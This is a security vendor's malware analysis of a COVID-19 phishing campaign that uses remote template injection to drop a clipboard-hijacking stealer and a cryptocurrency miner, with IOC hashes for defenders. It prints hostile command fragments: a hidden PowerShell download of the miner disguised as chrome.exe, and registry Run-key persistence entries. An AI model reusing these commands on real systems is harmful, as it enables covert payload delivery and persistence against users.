Trustwave SpiderLabs Uncovers Critical Cybersecurity Vulnerabilities Exposing Manufacturers to Costly Attacks. Learn More

Trustwave SpiderLabs Uncovers Critical Cybersecurity Vulnerabilities Exposing Manufacturers to Costly Attacks. Learn More

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COVID-19 Phishing Lure to Steal and Mine Cryptocurrency

Recently, we observed a malware spam campaign leveraging the current COVID-19 situation. The emails were sent from a compromised mailbox using a mailer script. The message contains a link leading to a Word document. The email takes advantage of a COVID-19 test mandate as a pretext to lure the unsuspecting user into clicking the link and downloading the document.

COVID-19 themed malspam with link to the malicious document.Figure 1. COVID-19 themed malspam with link to the malicious document.


 The initial downloaded Word document has no malicious code. But once the victim opens the Word document, it will try to retrieve a malicious macro-enabled template from a remote server. The technique is known as Remote Template Injection and is commonly used to evade static detection. After loading the remote template, it will then prompt the user in enabling macro content.

Code snippet of the settings.xml.rels with template referenced to an external target.Figure 2. Code snippet of the settings.xml.rels with template referenced to an external target.


Microsoft Word document lure to enable macro.Figure 3. Microsoft Word document lure to enable macro.


The template has Base64 binary files which are contained in the VBA UserForm. These binaries will be decoded and dropped by the custom VBA functions in the template. The binaries that will be dropped are as follows:

  • %APPDATA%\Microsoft\Windows\COM Surrogate\dllhost.exe (ClipBanker)
  • C:\cfe91497d9137b2\ffd0.exe (Coinminer downloader)
  • %TEMP%\instx.exe (Coinminer loader)
  • C:\cfe91497d9137b2\COVID-19.docx (Injected Word document)

VBA UserForm with embedded payloads.Figure 4. VBA UserForm with embedded payloads.


Infection chainFigure 5. Infection chain


The first binary dropped is an infostealer known as ClipBanker. This threat monitors the clipboard and replaces cryptocurrency wallet addresses in the infected system with the threat actor’s own. The macro script creates a registry startup key as a form of persistence.


[%random%5] = %AppData%\Local\Microsoft\Windows\COM Surrogate\dllhost.exe


To begin the mining process, the loader will start the downloader and it will then try to elevate the user privilege. Next, the downloader fetches the main payload from a remote server, a coin miner and its configuration files. The coin miner will then be saved as “chrome.exe” to masquerade itself as a web browser.

powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden $ProgressPreference = ',27h,'SilentlyContinue',27h,'; Invoke-WebRequest -OutFile "$env:appdata/Google` Chrome/chrome.exe"


Also, a registry startup key is added for the persistence of the coin miner.

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

[%random%] = "%AppData%\Google Chrome\chrome.exe"

The macro-enabled template also embedded a copy of the original Word document in the VBA UserForm. The embedded Word document is dropped at C:/cfe91497d9137b2/COVID-19.docx.

The template can propagate itself beyond the infected system. This is done by hijacking the victim’s Outlook application via some macro VBA code, and harvesting the contact list.

Macro script looping through the victim’s inbox collecting sender names and email addresses.Figure 6. Macro script looping through the victim’s inbox collecting sender names and email addresses.


The macro will then send an email to each of the victim’s contacts with a copy of the COVID-19 themed document as an attachment. With this method, sent emails are likely to be opened and documents downloaded and executed by the recipients as they come from a trusted sender. Finally, the sent emails will be deleted by the macro script in an attempt to cover its tracks and remove evidence.

Sending the malicious document to the list of harvested contacts.ure7Figure 7. Sending the malicious document to the list of harvested contacts.



As we continue to deal with the threats of COVID-19-related malware with the resurgence of a new variant, threat actors are taking advantage of the health scares and uncertainties to deliver malware, harvest credentials, and ultimately, gain financially.

The MailMarshal Secure Email Gateway has added protection for this threat for our customers. As usual, we advise all users to avoid clicking on URLs and attachments in unsolicited emails.

Indicators of Compromise (IOC)




COVID-19.docx SHA1:94cd8f53b4022f9eeb41fb18ad6a62a746efebc7
gentemplate.dotm SHA1:2d05a7b796afd354f201c4778eed14334f08d25e
dllhost.exe SHA1:735209f627d7f7e17f13094f55f9d0056ad89bd1
instx.exe SHA1:fe9cadec56b3a68a54f19c5656702b35a4b97759
ffd0.exe SHA1:9fb38b5ca038e5253832471474415c80ae39cce3

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